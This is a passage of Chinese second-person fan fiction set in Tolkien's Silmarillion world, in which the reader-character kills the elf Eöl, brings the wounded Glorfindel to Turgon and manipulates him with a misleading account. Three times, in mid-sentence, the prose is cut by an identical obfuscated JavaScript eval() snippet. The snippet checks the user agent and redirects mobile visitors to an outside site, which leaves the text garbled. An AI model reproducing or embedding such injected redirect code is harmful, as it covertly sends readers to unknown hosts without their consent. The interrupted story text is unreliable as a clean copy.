埃欧尔右手发力将宝剑狠狠压下,两把宝剑僵持不下,就如同宝剑的主人一般,埃欧尔又冷笑一声,“但你们这些诺多又怎么懂得感谢呢?但凡你们懂得一丁点的感谢就不会对自己的亲族痛下杀手!” 格洛芬德尔侧过身将埃欧尔压在宝剑上的力道卸下大半,他挥舞宝剑刺向埃欧尔的胸膛,“的确,你救了她,但这也不是你把她留下来的理由,她不属于这里。” 锐利的剑锋划破空气,发出短促的声响,寒光擦过格洛芬德尔的侧脸,削去一缕金发,那一缕头发从半空中飘落,与之一同落下的还有从伤口处渗出的血珠。 滴答—— 滴滴血珠落入积雪中,瞬间便晕开一片血色。 埃欧尔的声音冰冷:“她属于这里,也属于我。” 兵刃相接的声音打破森林的平静,与此同时在卧室床上躺着的你也睁开双眼,你感觉自己的身体好多了,四肢也没有之前那么乏力了,你从床上坐起来,听守在门口的精灵说埃欧尔在给你喂下药以后就又离开了。 你若有所思,眼看着窗外的夜色正浓,雪花还在源源不断地从天空中落下,埃欧尔难得没有守在你身边,而且现在看来他肯定是遇到了什么让他一时半会没办法脱身的麻烦事了。 终于,你等来了逃跑的机会,你避开其他精灵一路沿着长廊往外走,你没走正门,而是从后门离开,临走前你还不忘带上埃欧尔给你打造的弓箭和秘银软甲,以及其他有用的武器,你背上背着弓箭,这把弓箭是埃欧尔为你量身定做的,因此你背起来不算太吃力,秘银软甲你也直接穿在身上,腰间别着匕首。 至于宝剑,则是被你拿在手里,你一路绕到马厩,找到带你来这里的棕马,你一个翻身坐在马背上,催促着它带你逃离这个地方。 棕马很通人性,它在看到你着急忙慌的神色时就立刻明白你的意思,它以自己最快的速度背着你消失在森林里,你的逃跑计划进行到这里原本是非常顺利的,你时不时回过头看有没有精灵追上来,心脏因为激动和紧张跳得飞快。 在越过一条结了冰的小溪时你忽然捕捉到前方传来的打斗声,下一秒你就看见了格洛芬德尔的坐骑,那匹你熟悉的白马站在对岸的树影后。 你知道了让埃欧尔折返回森林里的原因,正是格洛芬德尔的到来。 现在有两个选择摆在你面前,一个是装作什么都没看见从这里逃跑,格洛芬德尔还能为你转移战火,这样一来你肯定能顺利逃走;另外一个是上前去蹚浑水,但也有个好处,那就是你能亲手杀死埃欧尔以此解你心头之恨。 你犹豫片刻,最后还是选择后者,你从马背上下来,来到格洛芬德尔的白马身旁,取下埃欧尔为你打造的弓箭,拉开弓箭在弦上,你微微眯起眼睛瞄准埃欧尔的背影。 埃欧尔会猜到自己最终会死在他亲手打造的武器之下吗? 大概是不会的,否则他也不会看见那支穿过他胸膛的熟悉箭矢时露出惊讶的神色,鲜血从他的胸膛涌出,他不可置信地看向箭矢飞来的方向,他看见了站在树影下的你,手里拿着他送给你的弓箭,你的眼神冷漠。 “你——” 他的话语被另外一支飞来的箭矢打断,箭簇没入他的胸口,刺穿心脏。 你在朝这两个精灵靠近的时候还不忘将另一支箭矢架起,出于谨慎起见你得要多补刀几次才行。 “为什么……可我爱你。”埃欧尔已经说不出完整的话语,他的眼眶里凝聚起一层水雾,在感到悲伤的同时与之相伴的是滔天的怒火。 你竟敢——竟敢背叛他!! “是我救了你!”你这个没良心的人类! 你走到埃欧尔身边,居高临下地俯视他,“但这并不妨碍我想要杀死你,而且别忘了,如果不是你留我在这里,我又怎么会生重病呢?” 话语间你抬脚踩在他胸膛的伤口上,“恨我吧,反正我对你的恨意并不比现在的你少。” 埃欧尔用尽最后一丝力气挣扎着,“你会得到报应的!” 说完这句话他那充满愤恨的眼神一点一点地暗淡下来,你亲眼见证了他的死亡,然后才走到格洛芬德尔身边,这位诺多精灵的情况也好不到哪里去,在与埃欧尔刚才的搏斗中他也受了伤,他抬起头看向你,明明自己一副狼狈的模样,可是在见到你的时候却还能笑得出来。 他的双眼先一步说话——眼泪顺着脸颊滑落,接着你才听见他的说话声,“太好了,你还活着。” 只要你还活着,那么他所做的一切都是有意义的。 你半跪在他身边,抬手擦去他的眼泪,往常总是衣冠整齐的精灵领主此刻看上去是那样的狼狈,又是那么的可怜,你都要对他产生几分怜惜之情了。 你托起他的侧脸,“你一直都在找我吗?也是,毕竟你是个很执着的精灵。” 格洛芬德尔咳嗽了一声,咳出的血沫差点弄脏你的手,他说:“我会带你回去的,这是我的责任。” “嗯……你的责任,那恐怕你身上的责任还要更多一份了。”你用眼神示意旁边埃欧尔的尸体,“好了,从现在开始我们就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14833374|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共犯了,希望我们能相处愉快。” 先前你还在苦恼如何让格洛芬德尔成为你的帮手,现在看来没有什么比共同的犯罪更能把你和他绑在一块了。 说完这话你干脆利落地扶起格洛芬德尔,你不想在这里浪费太多时间,你呼唤旁边白马的名字,让它走到你们身边,你把格洛芬德尔扶到马背上,接着你自己也坐到白马的马背上,你抓着格洛芬德尔的胳膊,让他靠在你的背上,然后让棕马在前头为你们开路。 就这样你和格洛芬德尔离开了埃欧尔的森林,你带走了埃欧尔的武器和珍宝,以及他的性命。 雪还在下,雪花落在埃欧尔的尸体上,逐渐将他掩埋,最后一片雪花落在他的眼睫上,他黯淡的眼眸凝望着你离去的背影。 正如美丽安所说的,他为自己的执念付出了代价,而那份代价就是自己的生命。 你马不停蹄地奔往图尔巩的领地,途中都没有停下来过,格洛芬德尔的情况也在不断恶化,从最初还能呼唤你的名字,到后来他不再言语,听到你说话也只能用气音来表示自己正在听。 “我在战场上杀了不少半兽人,他们也没有我想象的那么难对付,宝剑一挥,他们的脑袋就掉了下来。”你和他说起战场上发生的事情。 格洛芬德尔用清浅的气音回应你。 “我本来打算在战争结束以后就回去的,但是我找错了方向,这是个阴差阳错的巧合。” “我很……抱歉。”格洛芬德尔艰难地开口。 “你该不会要说‘很抱歉没能保护好你’吧?”要是他真的这么说你估计会冷笑一声。 “不,我很抱歉当初认为你只能被保护……你已经强大到可以独当一面了。” 你扯了扯嘴角,“我的成长也不需要你的认可。” 这几句话似乎耗尽了格洛芬德尔所有的力气,在后来的路途里他都不再说话,直到你回到图尔巩的领地,你骑着白马穿越边境线,负责守卫的精灵士兵看见你和格洛芬德尔还有些不敢置信,你未做停留直接带着格洛芬德尔去见图尔巩。 你带着格洛芬德尔闯入宫殿大厅,“图尔巩呢?格洛芬德尔需要救治,快去找医师。” 在大厅里的精灵急急忙忙地叫来图尔巩,他们带走了格洛芬德尔,图尔巩惊讶地看着你,“你……你应该没事吧?” “我要是有事能把格洛芬德尔一路带回来?”你反问道。 听你这么说,图尔巩倒是松了一口气,他说:“我很高兴能够再次见到你。” 听说你回来的消息,伊缀尔急匆匆地从房间赶到这边,她甚至都没来得及为自己披上一件外衣,她见到你的那一刻声音都是带着哭腔的,“伊玟——太好了,你还活着!” 你无奈地张开双臂迎接伊缀尔的拥抱,她紧紧地用抱着你,仿佛一松开手你就会再次消失,“真好,你回来了,我们还能再见面。” 21.第 21 章 过了好一会你才轻轻地拍了下伊缀尔的后背示意她可以松开手了,伊缀尔这才依依不舍地松开手,她抬手擦去眼泪,“你在外面一定受苦了。” 受苦倒不至于,埃欧尔除了不让你离开以外在物质上面倒是没有亏待你,你的生活质量没怎么受到影响,就是生的那一场病让你有些遭罪而已,但真要说受苦了,那倒算不上。 伊缀尔又用双手托起你的脸仔细观察你,将你从头到脚看了一遍,你任由她绕着你看了一圈,“我没有受伤,一切都很好。” “不,可你的眼神不是这么告诉我的。”伊缀尔的洞察力敏锐,她在你的眼里看到了些许疲惫。 你垂下眼帘,“但至少我回来了……至于我经历的事情,我日后再和你细细说吧,现在我有些累了。” 听你这么说伊缀尔便说:“那你还是快些去休息吧,你还想再吃点什么吗?我让厨房给你准备待会我再给你送去。” 你现在没什么胃口,可能是因为长途跋涉,你原本也许是有一些饥饿的,但是那份饥饿感早已在无尽的赶路中被消磨殆尽,你的脑袋昏沉沉的,那是长时间精神高度紧绷的后遗症,最好的治疗方法就是睡一觉。 你对着伊缀尔摇摇头,“我没什么胃口。”伊缀尔陪着你回到你的房间,在你离开的那段时间里你的房间都有精灵定期打扫,家具床铺上纤尘不染,来你房间最多的就是伊缀尔,尤其是在你失踪的头两个月,她时常来你的房间里一待就是一下午。 “床铺都是前些天刚换的,你要先去沐浴吗?”伊缀尔说个不停,说的都是一些琐碎的小事,“哦对了,你的沐浴剂我换了个香味,因为前些天杜伊林摘了些雪松回来,那味道很清新,我想你应该会喜欢的,所以就做成了沐浴剂。你瞧——我真是有先见之明,料到了你会回来的,现在这沐浴剂正好派上了用场。” “伊缀尔。”你轻轻地叫了一声她的名字,“你可以不用一直保持笑容的。” 闻言,伊缀尔缓慢地眨了下眼睛,“我……”她的声音里染上几分哭腔,“抱歉,其实我以为你再也不会回来了,我预想过我们的分别,但绝不是以这种形式。”以这种残酷而痛苦的形式。 你抬手擦去伊缀尔眼角的泪水,“还好你跟我一道回了房间,要是被图尔巩殿下看见我弄哭了他心爱的女儿,唉,那我真是罄竹难书呀。” 伊缀尔的双眼含着泪光,她的唇角上扬,“他才不会怪罪你呢,我们都那么喜欢你,又怎么会怪怨你呢?” 那可不一定,毕竟还有像埃欧尔那样偏执的精灵,你想到埃欧尔临死前怨恨的眼神,那个眼神你记得很清楚,当你与他对视的时候你没有丝毫的恐惧,相反地,你的心里腾升起一股隐秘的兴奋。 你去浴室简单的沐浴洗漱,用上了伊缀尔说的雪松香味的沐浴剂,果真和她说的一样清新。 伊缀尔一直守在你的床边,直到你躺在被窝里,她半跪在床边,牵着你的手,空着的手整理你额角的碎发,“睡吧,我会守在你身边的。” 你缓慢地眨了眨眼睛,躺在熟悉的床铺上鼻尖萦绕着熟悉的香味,睡意如同潮水般向你袭来,你的眼皮越来越沉重,最后你进入梦乡,沉沉睡去。 过了许久伊缀尔才从你的房间离开,她走出没多久就遇到了阿瑞蒂尔,后者听说你回来的消息就匆匆地赶来询问个究竟,“她回来了?没受伤吧?我怎么听驻守边境的士兵说她不是一个人回来的?她还带了谁回来吗?” 阿瑞蒂尔疑惑的问题统统在伊缀尔这里得到解答,为了方便谈话她们还找了个附近的小隔间坐下。 “所以你是说弥尔带着重伤的格洛芬德尔从外面急匆匆地赶回来?”阿瑞蒂尔总结道。 “是的,格洛芬德尔大人现在正在接受治疗。”领地内的精灵医师都赶来了,看样子今晚注定是个不眠夜,说着,伊缀尔望向窗外,今晚夜雾浓重,几乎将大部分的月光都遮挡了去,无法见到明月,精灵的心头都感觉到了那一份压抑和沉重感。 阿瑞蒂尔又说:“那她现在还好吗?” “她正在休息,她看起来很疲惫,至于具体发生了什么,那就只能等到她主动开口我们才能知道了。”伊缀尔叹了一口气。 实际上当天晚上你睡得并不安稳,你的梦中总是出现那道沙哑粗粝的声音,正是你之前在山洞里躲雨的时候梦见过的声音。 “人类的珍宝……内心却是那么黑暗,你又怎么甘心和精灵混迹在一起,凭你的野心应该有更大的作为,而不是被当成一样物品来称赞。” “来我身边,我会助你达到荣耀巅峰——” 这种话语一听就是骗人的,你上辈子就遇到过电信诈骗,那话术可比这个高级多了,因此你对梦境里的那道声音压根就不理睬,比起这个,你倒是对梦里“死而复生”的埃欧尔更有兴趣一点,他的身上还残留着你的箭矢留下的洞口,他恼怒地质问你:“为什么要那么对我!?” “因为你阻碍了我前进的道路,我曾经给过你机会的,既然你要留住我,那就得要看看你有没有这个本事了,现在看来你没有这个实力,那就只能成为我手下的冤魂了。”你的语调平淡,哪怕是在梦里你也依旧能够用武器“杀死”埃欧尔。 也不知道你将这样的动作重复了多少遍,你终于从梦里醒来,你的身体终于没有那么疲惫了,就是脑袋还在隐隐作痛,但还在你的承受范围内,你从床上起来,屋外的天色阴沉,因此你也无法从光线来判断现在几点了,洗漱过后你走出房间,经过大厅的时候看见流水钟才确认现在是中午时分。 那你睡得也不算太久,你站在大厅没多久就有精灵来传信,“图尔巩殿下想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14841581|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要见您。” 你就知道还免不了和图尔巩的谈话,好在你已经事先做好了准备,你说:“我明白了,他现在在哪里?书房吗?” “是的,他还说如果您没用过餐,还请先用餐,他并没有那么着急。” 你可不相信他不着急,但你确实得要进餐了,你先是去了一趟餐厅,精灵端上为你准备的餐点,都很清淡但又易于吸收,适合身体虚弱的时候补充能量。 虽然已经很饥饿了,但你还是尽量慢条斯理地进食,你一边咀嚼一边思考待会怎么应付图尔巩,你杀死那个泰勒瑞精灵埃欧尔是不争的事实,但所谓的真相很多时候都是由还活着的人说出口的,也就是说你完全可以玩一些文字游戏,而且就算真的要论起来,你这也算是正当防卫。 毕竟你看到的第一眼可是埃欧尔在攻击格洛芬德尔啊,于情于理你都应该帮助格洛芬德尔才对。 到时候你见到图尔巩就开门见山地说你们不小心杀死了一位泰勒瑞精灵,但都是那位死去的精灵的错,你所做的一切都是迫不得已的。 和精灵打交道多了就会发现他们这一种族也很护短,尤其是精灵的亲族之间,简直是护短到了极点。 而你身为与精灵交好的人类,而且还是人类王室的公主,无论怎么看他们都会选择站在你这边,想到这里你就没有什么好顾虑的了。 放下刀叉,你用餐巾擦拭唇角,而后前往图尔巩的书房。 你的脚步停在图尔巩的书房门口,你轻轻地敲了敲门,图尔巩的声音很快从里面传来,让你不由得怀疑他是否一直在等待你,你打开门,先是对着图尔巩微微俯身行礼。 “你不必对我行礼,你现在的身体还好吗?”图尔巩担忧的神色和伊缀尔极为相似,倒不如说他们这对父女身上本就有着许多相似之处,你说:“多谢您的关心,我已经好多了。” 图尔巩仔细地观察你,他说:“你为什么会独自潜入战场呢?” 图尔巩并没有说战场有多危险,因为从你能够全身而退安全归来就能看得出来你拥有自保的能力,甚至实力不俗。 “因为我想要检验我自己的实力,如果一直待在战场后,那我又如何能够成长起来呢?那些学会的剑术和箭术更没有用武之地,难道要让它们成为日后比赛时用来展示的东西吗?不,我不想要这样的结果,我想要把学到东西运用于实践中。” “更重要的是,只有拿起剑才能获得其他我想要的东西。”你说着,图尔巩沉默了许久,他突然发觉自己其实并没有想象中的那么了解你,他之前看到的只不过是你表现出来的一方面而已,而此刻站在他面前的你,侃侃而谈的你,那才是真实的你。 “……那你想要的又是什么呢?”图尔巩问道。 你浅浅地笑了起来,“这个,恕我不能告诉您。” 22.第 22 章 听你这么说,图尔巩便也就没再追问,他又问:“在外面的这段时间……都发生了什么呢?” 你就知道他会问这些的,你说了自己上战场的心路历程,以及如何从巨龙的火焰下逃生,图尔巩无比认真地听着,时不时皱起眉,他听到你骑着一匹棕马从战场上逃离时眼里都是哀伤,“差一点——差一点你就会丧命于龙焰之下。” “但是我躲过了,我躲过了这一次,就代表下一次我也有把握能够躲过。”你说,“但从战场上逃跑以后我迷失了方向,进了一片从未到过的森林,我尝试着用精灵语与那些树木沟通,拜托它们指引我找到这附近的精灵。它们十分友善,为我指了一条路,而正是那条路让我误入了泰勒瑞精灵的领地。” “泰勒瑞精灵?你去了多瑞亚斯?”不……多瑞亚斯周围是有一圈美丽安环带的,没有经过辛葛王允许的客人是无论如何都无法越过那一条环带的。 你捕捉到图尔巩的焦急,你安慰道:“请您放心,接下来的故事没有您想的那么可怕。” “我在森林里遇到了一个名为埃欧尔的精灵,他先是怀疑我的来意,尤其是看见我身上的精灵盔甲和宝剑,他几乎是一眼就看穿了我的身份——与诺多精灵交好的人类,而他自身又对诺多精灵颇有偏见。”你选择了一个较为中性的词汇,“偏见”,其实准确来说应该是憎恶,但是鉴于现在听你讲故事的是个诺多精灵,你就适当修改了一些措辞。 “泰勒瑞精灵因为天鹅港事件本就对诺多精灵心存怨恨,这一点我也不可否认。”图尔巩承认他们之前确实犯下过错误,他的态度坦然,接着他又问,“那他为难你了?” “没有,其实在我看来无论是诺多精灵还是泰勒瑞精灵,你们都对人类心存仁慈的一面,毕竟我们都是伊露维塔的子女。”你说故事的时候还不忘夸赞诺多精灵一句,这让精灵非常受用。 “他接待了我,并且将我当成客人对待,我是说……起初他这么做的。”终于,故事迎来了转折点,“他想要把我永远留在那片森林,他认为既然是我擅自闯入他的领地,那么我也理应成为他的附属品。” “附属品?他怎么能这么对待你——!”图尔巩感到出奇的愤怒,但这份怒火更多的是来自于埃欧尔将你化为附属品是对图尔巩他本身的威严的冒犯。 “是啊,我也不能理解他为何会那么想,而且我也不能一直留在那里,既然我还活着,那我就要回到您的领地,回到伊缀尔身边,我不想让您们担心。”你说,“更何况,我也知道自己这次的举动极有可能为您和您的兄弟带来多大的风波,甚至有可能使得我的祖父哈多与芬国昐陛下的关系出现裂痕,这绝不是我想看到的。” 你先是将自己回来的行为套上许多高尚的理由,这样就能冲淡你之后杀死埃欧尔带来的罪恶感,毕竟他们又怎么会怪罪一个只是想要回家的人类公主呢? “弥尔洛斯……”图尔巩轻轻呼唤着你的精灵名,叹息着,言辞间充满怜惜之情,“这不是你的错。” 这当然不是你的错,你也从来没觉得自己有罪,毕竟你在看到埃欧尔遍体鳞伤地倒在雪地里还能脚踩他的伤口心里满是快意。 不过你得要表现出忏悔的姿态,以此来换取图尔巩的支持乃至偏袒。 而目前看来图尔巩的反应和你预想的差不多,在你的春秋笔法之下埃欧尔的死变成了一场彻头彻尾的意外,你未曾想过杀死这位曾经的恩人,可死亡就是这样猝不及防地降临了,你担心引来魔苟斯的爪牙只能匆忙离去。 在这个故事里,你是最无辜的那一个。 图尔巩甚至还得要柔声安慰你,只因你话语间已经泪流满面,泪水打湿你的眼睫,“倘若日后辛葛王追责起来,就请说这一切都是我造成的吧。” “不,你在这里生活了那么多年,我已将你当成自己的子民,我身为领主哪里有让你一人担责的道理?”他看向你的眼神中充满了怜悯。 很好,你想要听到的就是这句话,你打住泪水,对着图尔巩露出一个笑容,“谢谢您。” 图尔巩抚摸你的头发,“你无需对我说感谢。” 好吧,既然是他这么说的,那你就真的不说话了,你沉默着离开书房,又顺便去了格洛芬德尔所在房间看看他的情况。 现在守在他门口的是他的好友埃克塞理安,他双手环胸,表情凝重,你并没有收敛自己的脚步声,因此埃克塞理安第一时间就察觉到了你的到来,他转过头一看,发现来者是你,他挤出一个笑容,“伊玟殿下,您怎么过来了?” “我有些担心格洛芬德尔……他的情况还好吗?”你这说的倒是真话,毕竟要是格洛芬德尔死了你的确会觉得有些可惜,毕竟他本能成为你手里很好用的一枚棋子的,死了就是白白浪费了。 埃克塞理安也知道你来这里肯定是来看格洛芬德尔的,他不忍心告诉你其实情况不怎么乐观,因为他从你微微泛红的眼角看出来你应该刚刚哭过,你要是再次落泪他又该怎么办呢?用手帕擦去你的眼泪吗?可是你的悲伤是手帕无法擦去的。 埃克塞理安注视你许久,他叹息道:“他……我只能说他一定会好起来的。”虽说你带他及时回到了图尔巩的领地,但是他的伤势太重,而且更糟糕的是埃欧尔的武器上都涂有毒.药,所以尽管伤口已经止住血了,但是毒素侵入他的内脏,想要在短时间内恢复到原来的状态显然是不可能的。 但愿事情真的能如他所说的那样吧,你垂下眼帘,“那我能到房间里去看看他吗?我会很安静的,这样应该不会打扰到他休息吧?” 埃克塞理安又怎么忍心拒绝你呢,他对着你点点头,然后为你打开格洛芬德尔房间的门,你悄无声息地走入房间内。 房间内的光线昏暗,窗帘也是拉起来的,在这个空间里唯一的光源就是床头柜上的一盏小灯,你借着微弱的灯光走到格洛芬德尔床边而后坐下,你静静地凝视着躺在床上的精灵,他的脸色苍白没有一丝血色,呼吸很轻,你伸出手触碰他的脸颊,好在他的皮肤是温热的。 说实话你在埃欧尔的森林里见到格洛芬德尔的时候还有几分惊讶,毕竟你以为自己在他心里也没有那么重要,就算真的是要有精灵执着地寻找你,那大概率也是吉尔-加拉德。 因为在你心里重要性的排序就是吉尔-加拉德在他之前,因此将心比心,你也下意识地认为自己在他那里没有那么重要。 你有些想要询问他为什么要那么执着,你的手指摩挲过他的侧脸,他的脸颊上也有几道细密的伤口,伤得不深,基本上已经愈合了,但是指腹触碰那一块皮肤还是能够感觉出细微的粗糙感。 你又想起先前和格洛芬德尔聊天时谈论到的关于死亡的话题,他是那么认真地询问你如果他死去了你是否会为此感到悲伤,现在你也算是有资格回答这个问题了。 要说悲伤那还真没多少,有的只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14853799|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜而已,你将耷拉在他侧脸的发丝捋到耳后,陷入沉睡的精灵是那么安静乖巧。 你微微眯起眼睛,房间内昏暗的光影将你此刻冷漠的神色恰到好处地遮掩了去,你微微俯身在他的耳边低语,“快些醒来吧,我的共犯。” 话音落下,格洛芬德尔紧闭着的双眸眼睫轻轻地颤抖了一下,你饶有兴致地等待他醒来,但是你等了许久都没等到你想要看到的画面,你可不想在这里浪费太多时间,于是你起身果断离开这个房间。 后来的几天你都整天和伊缀尔待在一块,她从父亲图尔巩那里听闻了你在外的经历,对你愈发同情与爱护,你倒是不介意一直被她用怜惜的眼神注视,只是一封来自多尔罗明的信件打破了你这平静的生活。 那是你的父亲贡多写来的,他在信里写到你的成人礼,又委婉地提起替你选择未婚夫的事情,你猜测你的成人礼远没有后者重要,他们写信让你回多尔罗明就是为了未婚夫的事情。 虽然你之前已经从格林嘴里得知了未婚夫候选人的事情,但现在这件事是直接摆在你面前了,这两者给你的感觉是不一样的,你的心中有几分厌烦,毕竟在你看来未婚夫完全是没意义的东西,甚至还可能从你手里分走你本就为数不多的权力,这就更让你烦躁了。 难道他们真的认为将自己手中的权力拱手相让,然后把自己的命运都寄托在一个素未谋面的陌生人身上是一种明智的选择吗?你真是搞不明白他们为何总是自然而然地将你放在弱者的角色上,这在他人看来是双亲对你的宠爱,但在你看来就像是变相的轻蔑与侮辱。 你的脸色变得愈发难看。 信纸摊开放在桌面上,你单手托腮,另外一只手的手指有一下没一下地敲着桌面,你拿出你失踪期间玛丽给你写的信,都是向你汇报笼络军官的进度,还是看这些让你高兴一点。 多尔罗明你是肯定要回去一趟的,只不过你得要等到格洛芬德尔醒了以后才能走,倒也不是你多关心他的身体,而是担心这家伙和图尔巩说漏嘴,你得和他统一口径才行,你可不想这家伙一醒来就把你之前说的话都给推翻了,那你不是前功尽弃了吗? 于是那封来自你父亲贡多的信件就暂时被你搁置在一边了,你几乎每天都会去格洛芬德尔的房间查看他的情况,就跟每天打卡一样,其他精灵都在感叹你是何等心地善如此关心格洛芬德尔。 大约过去了半个月的时间,在某天你照例坐在格洛芬德尔床边探望他的时候,他终于缓缓地睁开了眼睛,你还有些不敢相信自己的眼睛,你盯着他看了一会,他的眼神朦胧,你握着他的手,“你感觉怎么样?还认识我是谁吗?” 可千万不要出现失忆这种桥段啊,说起来精灵应该是不会失忆的吧?而且他受的伤也不是什么脑部撞击,就是单纯的外伤,但毒素似乎也有可能影响大脑,也不是没有这种可能。 “伊玟……我还记得你。”格洛芬德尔的目光落在你身上,准确无误地说出你的名字。 你这才满意地点点头,“看来你的脑袋没什么问题,我去叫其他精灵进来。” 格洛芬德尔却忽然反握住你的手,“不,你先别走——” 你奇怪地回过头,他的声音很微弱,“让我再多看看你,我已经很久没见过你了。” 什么啊,他就是为了和你说这话吗?你对他说:“你放心吧,这次我不会突然消失的,毕竟——我们现在已经是共犯了啊。” 50-60 第51章 第51章对于这种变化的唯一应对…… 你用双手托起这顶头冠,仔细观察,尽管乍一眼就会被它的美丽所惊艳,但细细端详下来就会发现这顶头冠的细节尤为繁复华美。 即便是这件礼物的创作者,也无法确定他日后能否再打造出这样举世无双的杰作了。 总而言之,从这件礼物不难看出纳国斯隆德的君主芬罗德对你与吉尔-加拉德的婚姻的美好祝福。 你将这顶头冠放回盒子里,接着对送上礼物的精灵使者道谢,那位精灵使者又说:“我们的陛下说了,不日就会亲自来多尔罗明。” 身为纳国斯隆德的君主,他亲自来到多尔罗明就是一种表态,这代表日后他所代表的精灵家族也会尽其所能保护多尔罗明。 芬罗德的反应在你的意料之内,毕竟精灵是那么重视血亲,他们为吉尔-加拉德能寻找到真爱而感到由衷的欣喜。 除了来自纳国斯隆德的礼物,还有其他精灵以及人类为你们送上代表祝福的礼物,一时间多尔罗明的仓库里堆满了来自四面八方的礼物,差点就要放不下了。 收到礼物还只是第一步而已,这场婚礼注定会非常繁琐复杂,而且耗费心力,虽然你早已做好了心理准备,但是在看到芬罗德送来的婚礼策划时,你不免感觉到头疼。 “精灵的婚礼就是这样复杂的吗?”你盯着那一份芬罗德送来的策划案,忍不住伸手揉了揉太阳穴,站在你身边的骑士玛丽开解道:“这毕竟是第一场人类与精灵 的婚礼,我想芬罗德大人也希望婚礼举办得隆重一些吧。” 芬罗德的想法倒是不难理解,但你理解了不意味着你能接受,你拿起笔在这份策划案上涂涂改改,删除一些你觉得繁琐的细节。 “只要能够保证这份婚姻是在众人的见证下,在众人的祝福之下建立的就够了。”这才是最重要的东西,至于什么婚礼场地布置,还有礼服以及音乐等等,在你看来不是关键。 后来你又与芬罗德以及吉尔-加拉德,还有你的双亲仔细讨论婚礼的细节,最后才敲定婚礼的最终方案,这期间耗费了你不少时间和精力。 “我想这样应该就差不多了……”把最后的方案复制件以书信形式寄给纳国斯隆德,还没得你歇一会儿,你的母亲雅维就拉着你去试穿礼服,这些礼服也都是由人类里手艺最精湛的裁缝定制而成,不只是裁缝,这些礼服从布料开始就很不一般。 听说那布料还是从多瑞亚斯运来的,因为吉尔加拉德与多瑞亚斯的国王有着亲缘关系,而且这还是一件大喜事,所以王后美丽安用日月星辰的光辉编织出一匹又一匹手艺精巧的布匹。 她编织布料的手艺是从维拉瓦尔妲那里学来的,因此,见过这匹布的精灵纷纷被那美丽的光泽所打动。 你耐着性子任由母亲雅维拉着你去试衣间试穿各类礼裙,她已经接受你即将和精灵成婚的事实。 “这些礼服你觉得哪一条最合适呢?”这是他在你试穿的时候问的最多的一句话。 听到后面你听得都有些不耐烦了,“无论哪条裙子都很合适,而且您也不用太紧张,婚礼一切都会很顺利的,我们会在众人的见证下缔结婚姻,也会获得众人的祝福。” 雅维握着你的手,不知不觉你的身高已经比她高出半个头,你微微低垂,眼眸看见她脸上细微的皱纹,那是岁月在她身上留下的痕迹,“我不知道为什么……我总觉得,这对你来说只是一个‘正确’的选择,可你好像从未获得过开心和幸福。” “只要这是正确的就好,而且可能是您看错了吧,我也对此感到幸福。” 雅维欲言又止,也许真的只是她想多了吧。 你试衣服试到一半,就被突然到来的格林打断,往常你见到他都会有些不耐烦,但这次你还得感谢他,毕竟他的到来让你有个正当借口直接离开试衣间。 从房间里走出来,你询问格林,“是什么事情让你这么急匆匆地赶过来?” “是科尔,他上次甚至提议让我向父亲请求将你流放。” 从格林嘴里听到这番话让你不由得想笑,科尔怎么还是没有认清现在的局势呢也有可能是因为他先前得罪过你多次,而且他的傲慢以及所谓的自尊心也不允许他向你这一位公主屈服。 “他真是这么说的?”你一边走着一边和格林聊天。 “是的,而且……他觉得你与吉尔-加拉德的婚姻也只是出于政治目的,并非真爱。”科尔的原话比这个还要直白尖锐,经过格林的转述,他还将一些冷嘲热讽的内容去掉了。 实际上,科尔的原话是:那位居心叵测的公主利用了精灵对她的喜爱,以此来达到自己的目的,无论是精灵还是人类,只要是她身边的人,只要是拥有利用价值都能为她所用,这样的人难道不可怕吗? 格林知道,如果他将原话原封不动地告诉你,那么肯定会伤到你的心,而且再说了,他从来不觉得你是一个很可怕的人。 即便他并不赞同你与吉尔-加拉德的婚姻,但在他看来,这位精灵能够获得你的喜爱,哪怕只有一丁点的喜爱,那也是他的荣幸。 而且你那么做更多的是出于对这个国家的爱,宰相科尔非但没能认识到你对国家的爱,反而将这份深沉的爱扭曲为自私自利,这反而让格林感到愤怒。 他的愤怒甚至远超过你这位当事人,因此,他在听到宰相科尔说的这些话以后,第一反应就是训斥他,认为他干涉得太多了。 科尔不理解为什么格林会心甘情愿地放弃继承人的资格,并且成为你的辅佐,你到底对他做了什么呢? 科尔一度认为你利用了什么邪恶的魔法改变了格林的意志,他也本想通过魔法消除你对格林的影响,但到后来他才发现根本不存在什么魔法。 “格林,你也是这么认为的吗?”你倒是不在乎那个科尔说些什么,因为他就跟秋后的蚂蚱一样,跳不了多久。 “我……如果要我说实话的话,这是你的选择,我无权干涉。” 